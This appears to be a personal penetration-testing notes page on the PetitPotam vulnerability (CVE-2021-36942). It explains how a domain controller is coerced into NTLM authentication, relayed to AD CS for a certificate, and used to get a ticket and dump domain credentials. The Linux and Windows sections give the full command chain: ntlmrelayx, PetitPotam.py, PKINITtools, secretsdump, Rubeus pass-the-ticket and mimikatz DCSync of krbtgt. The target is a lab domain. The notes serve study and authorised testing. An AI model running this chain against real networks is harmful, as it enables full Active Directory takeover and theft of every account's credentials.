PetitPotam

ABOUT

PetitPotam (CVE-2021-36942) is an LSA spoofing vulnerability patched in August 2021.

It allows an unauthenticated attacker to coerce a Domain Controller (DC) into authenticating to a malicious host via NTLM over LSARPC (port 445) by abusing the MS-EFSRPC interface. When combined with misconfigured Active Directory Certificate Services (AD CS), the attacker can relay this authentication to the CA’s Web Enrollment interface, submit a malicious Certificate Signing Request (CSR), and obtain a certificate usable for domain compromise.

Prerequisites

• EFSRPC or Print Spooler enabled on DC

• AD CS with Web Enrollment + vulnerable template

• SMB signing not required (or relaying to HTTP)

• PetitPotam + Impacket + Certipy

FLOW

Vulnerability itself only coercing an auth. But as example if we combine it to NTLM relay to ADCS, we could make a big impact.

1. Getting TGT

1. Setup the Trap with ntlmrelayx.py

2. Force Auth with PetitPotam.py so DC is trying to auth to us

3. Relay the Auth to ADCS

4. Get the Cert if ADCS is misconfigured, so it thinks we are DC

5. Become DC (Kerberos). We could use cert to ask for DC's TGT.

After getting DC's TGT there are different options:

1. DCSync with using TGT

2. Stealing Hash for DCSync

1. Using the TGT: The tool uses the TGT in your cache to communicate with the Key Distribution Center (KDC).

2. User-to-User Request: It sends a Kerberos User-to-User (U2U) request to the KDC, asking for a Service Ticket for the DC machine account.

3. PAC: The service ticket contains a Privileged Attribute Certificate (PAC) with the NTLM hash of the machine account.

4. Decrypting the Ticket: Using the AS-REP encryption key from TGT we captured earlier, the tool decrypts the ticket and extracts the PAC, which includes the NTLM hash.

5. Extracting the Hash: The NTLM hash (e.g., 313b6f...) is then extracted from the PAC data.

3. Stealing Base64 Cert for TGT and PTT

Here we are using Rubeus and mimikatz, so this variation is for windows

1. Get a base64 Cert (from ntlmrelayx.py part)

2. Using Rubeus with cert for TGT request

3. Confirming ticket in memory

4. DCSync with mimikatz

LINUX

Starting ntlmrelay.py

Here we are relaying NTLM request and getting a AD CS certificate

sudo ntlmrelayx.py -debug -smb2support --target http://EA-CA01.MILITECH.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

PetitPotam

python3 PetitPotam.py 13.13.13.13 37.37.37.37 # 13th is attacker IP, 37 is DC 

Requesting TGT with gettgtpkinit.py

python3 /opt/PKINITtools/gettgtpkinit.py MILITECH.LOCAL/EA-DC01\$ -pfx-base64 MIISKBdGmY= dc01.ccache

Setting TGT Environment Variable

export KRB5CCNAME=dc01.ccache

Using DC's TGT for DCSync

secretsdump.py -just-dc-user MILITECH/administrator -k -no-pass "EA-DC01$"@EA-DC01.MILITECH.LOCAL

---

This is part from point 2 in Flow section, where getting hash for TGT. That's why I separated it with line above.

TGS Request to extract a hash

python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836asdasd MILITECH.LOCAL/EA-DC01$

DCSync by using hash

secretsdump.py -just-dc-user MILITECH/administrator "EA-DC01$"@13.13.13.13 -hashes aad3c435b:9fb4ba

WINDOWS

Requesting TGT and Performing PTT

PS C:\> .\Rubeus.exe asktgt /user:MILITECH-EA-DC01$ /certificate:MIIStgsFSADFfksCRy4= /ptt

Confirming Ticket

PS C:\> klist

DCSync with Mimikatz

PS C:\> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:militech\krbtgt

RESOURCES

MS-EFSR abuse (PetitPotam)The Hacker Recipes